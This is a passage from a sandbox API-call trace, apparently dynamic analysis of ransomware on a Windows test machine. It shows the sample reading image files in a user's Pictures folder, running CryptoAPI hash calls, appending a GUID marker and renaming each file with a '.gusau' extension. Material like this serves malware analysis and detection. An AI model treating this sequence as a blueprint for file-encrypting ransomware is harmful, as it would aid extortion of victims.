lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=88490) returned 1 [0117.700] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.702] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x15984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.702] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.704] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x159aa, lpOverlapped=0x0) returned 1 [0117.705] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.705] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.705] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.705] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.705] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.706] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.706] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.706] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.706] GetLastError () returned 0x0 [0117.706] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.706] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.706] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x159aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.706] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.707] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.707] CloseHandle (hObject=0x610) returned 1 [0117.708] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3vMt_2q3fAah.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\3vmt_2q3faah.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3vMt_2q3fAah.png.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\3vmt_2q3faah.png.gusau")) returned 1 [0117.709] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd933c30, ftCreationTime.dwHighDateTime=0x1d4c91b, ftLastAccessTime.dwLowDateTime=0x73d89670, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0x73d89670, ftLastWriteTime.dwHighDateTime=0x1d4d150, nFileSizeHigh=0x0, nFileSizeLow=0xcef1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CrjCu6i aZorUJcYh.png", cAlternateFileName="CRJCU6~1.PNG")) returned 1 [0117.709] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CrjCu6i aZorUJcYh.png") returned=".png" [0117.709] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CrjCu6i aZorUJcYh.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\crjcu6i azorujcyh.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.710] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=52977) returned 1 [0117.710] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.712] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xcecb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.712] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.713] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xcef1, lpOverlapped=0x0) returned 1 [0117.714] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.714] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.714] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.714] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.715] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.715] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.715] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.715] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.715] GetLastError () returned 0x0 [0117.715] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.715] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.716] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xcef1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.716] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.716] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.716] CloseHandle (hObject=0x610) returned 1 [0117.717] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CrjCu6i aZorUJcYh.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\crjcu6i azorujcyh.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CrjCu6i aZorUJcYh.png.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\crjcu6i azorujcyh.png.gusau")) returned 1 [0117.718] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.718] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned=".ini" [0117.718] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebbf34a0, ftCreationTime.dwHighDateTime=0x1d4caf2, ftLastAccessTime.dwLowDateTime=0xe7a68750, ftLastAccessTime.dwHighDateTime=0x1d4d372, ftLastWriteTime.dwLowDateTime=0xe7a68750, ftLastWriteTime.dwHighDateTime=0x1d4d372, nFileSizeHigh=0x0, nFileSizeLow=0x16875, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IblMdY4N1yG.bmp", cAlternateFileName="IBLMDY~1.BMP")) returned 1 [0117.718] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IblMdY4N1yG.bmp") returned=".bmp" [0117.718] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IblMdY4N1yG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\iblmdy4n1yg.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.718] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=92277) returned 1 [0117.718] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.720] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1684f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.721] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.722] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x16875, lpOverlapped=0x0) returned 1 [0117.723] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.723] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.723] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.723] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.724] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.724] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.724] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.724] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.724] GetLastError () returned 0x0 [0117.724] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.724] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.724] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x16875, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.725] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.725] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.725] CloseHandle (hObject=0x610) returned 1 [0117.726] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IblMdY4N1yG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\iblmdy4n1yg.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IblMdY4N1yG.bmp.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\iblmdy4n1yg.bmp.gusau")) returned 1 [0117.731] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea050ae0, ftCreationTime.dwHighDateTime=0x1d4c5f7, ftLastAccessTime.dwLowDateTime=0xc9d44440, ftLastAccessTime.dwHighDateTime=0x1d4c7d5, ftLastWriteTime.dwLowDateTime=0xc9d44440, ftLastWriteTime.dwHighDateTime=0x1d4c7d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kuLBm0R5-grtJK8w", cAlternateFileName="KULBM0~1")) returned 1 [0117.731] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b33940, ftCreationTime.dwHighDateTime=0x1d4cc62, ftLastAccessTime.dwLowDateTime=0xd6c3e5b0, ftLastAccessTime.dwHighDateTime=0x1d4cefc, ftLastWriteTime.dwLowDateTime=0xd6c3e5b0, ftLastWriteTime.dwHighDateTime=0x1d4cefc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NYC5ngf", cAlternateFileName="")) returned 1 [0117.731] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcaf22270, ftCreationTime.dwHighDateTime=0x1d4c7f8, ftLastAccessTime.dwLowDateTime=0x45241870, ftLastAccessTime.dwHighDateTime=0x1d4cf4a, ftLastWriteTime.dwLowDateTime=0x45241870, ftLastWriteTime.dwHighDateTime=0x1d4cf4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZTE-", cAlternateFileName="")) returned 1 [0117.731] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcaf22270, ftCreationTime.dwHighDateTime=0x1d4c7f8, ftLastAccessTime.dwLowDateTime=0x45241870, ftLastAccessTime.dwHighDateTime=0x1d4cf4a, ftLastWriteTime.dwLowDateTime=0x45241870, ftLastWriteTime.dwHighDateTime=0x1d4cf4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZTE-", cAlternateFileName="")) returned 0 [0117.731] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0117.731] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.731] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.731] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0117.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0117.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.732] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0117.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0117.732] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.732] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.732] PathFindFileNameW (pszPath="") returned="" [0117.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.732] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcaf22270, ftCreationTime.dwHighDateTime=0x1d4c7f8, ftLastAccessTime.dwLowDateTime=0x45241870, ftLastAccessTime.dwHighDateTime=0x1d4cf4a, ftLastWriteTime.dwLowDateTime=0x45241870, ftLastWriteTime.dwHighDateTime=0x1d4cf4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZTE-", cAlternateFileName="")) returned 0xffffffff [0117.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0117.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.732] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f430 [0117.732] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0117.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, 